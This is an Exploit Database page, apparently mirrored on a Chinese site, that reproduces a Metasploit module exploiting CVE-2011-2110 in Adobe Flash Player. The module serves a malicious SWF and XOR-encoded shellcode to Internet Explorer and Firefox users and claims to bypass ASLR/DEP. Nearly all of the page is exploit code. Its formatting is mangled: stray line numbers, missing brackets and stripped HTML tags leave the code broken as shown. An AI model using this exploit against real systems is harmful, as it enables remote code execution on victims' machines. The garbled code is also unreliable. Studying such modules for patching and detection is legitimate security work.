Adobe Flash Player – AVM Verification Logic Array Indexing Code Execution (Metasploit)

Exploit Database
107 阅读

作者： Metasploit

日期： 2012-06-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19295/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

# $Id$

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',

'Description'=> %q{

This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23

and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification

logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same

vulnerability that was used for attacks against Korean based organizations.

Specifically, this issue occurs when indexing an array using an arbitrary value,

memory can be referenced and later executed. Taking advantage of this issue does not rely

on heap spraying as the vulnerability can also be used for information leakage.

Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several

other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and

is very reliable.

'License'=> MSF_LICENSE,

'Author' =>

[

'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,

'Unknown'# malware version seen used in targeted attacks

'Version'=> '$Revision$',

'References' =>

[

['CVE', '2011-2110'],

['OSVDB', '48268'],

['URL', 'http://www.adobe.com/devnet/swf.html'],

['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],

['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],

['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'HTTP::compression'=> 'gzip',

'HTTP::chunked'=> true,

'InitialAutoRunScript' => 'migrate -f'

'Payload'=>

{

'Space' => 2000,

'BadChars'=> "\x00",

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {}],

'DisclosureDate' => 'Jun 21 2012',

'DefaultTarget'=> 0))

end

def exploit

# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as

# full aslr/dep bypass using the info leak as per malware

path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )

fd = File.open( path, "rb" )

@swf = fd.read(fd.stat.size)

fd.close

super

end

def check_dependencies

use_zlib

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /MSIE/

return targets[0]# ie 6/7/8 tested working

elsif agent =~ /Firefox/

return targets[0]# ff 10.2 tested working

else

return nil

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")

send_not_found(cli)

return

end

xor_byte= 122

trigger = @swf

trigger_file = rand_text_alpha(rand(6)+3) + ".swf"

code = rand_text_alpha(rand(6)+3) + ".txt"

sc = Zlib::Deflate.deflate(payload.encoded)

shellcode = ""

sc.each_byte do | c |

shellcode << (xor_byte ^ c)

end

uri= ((datastore['SSL']) ? "https://" : "http://")

uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])

uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"

bd_uri = Zlib::Deflate.deflate(uri)

uri = ""

bd_uri.each_byte do | c |

uri << (xor_byte ^ c)

end

bd_uri = uri.unpack("H*")[0]

obj_id = rand_text_alpha(rand(6)+3)

if request.uri.match(/\.swf/i)

print_status("Sending malicious swf")

send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })

return

end

if request.uri.match(/\.txt/i)

print_status("Sending payload")

send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })

return

end

html =<<-EOS

<html>

<head>

</head>

<body>

id="#{obj_id}" width="600" height="400"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

width="320" height="300" name="#{obj_id}" align="middle"

allowNetworking="all"

type="application/x-shockwave-flash"

pluginspage="http://www.macromedia.com/go/getflashplayer">

</embed>

</object>

</center>

</body>

</html>

EOS

html = html.gsub(/^\t\t/, '')

print_status("Sending #{self.name} HTML")

send_response(cli, html, { 'Content-Type' => 'text/html' })

end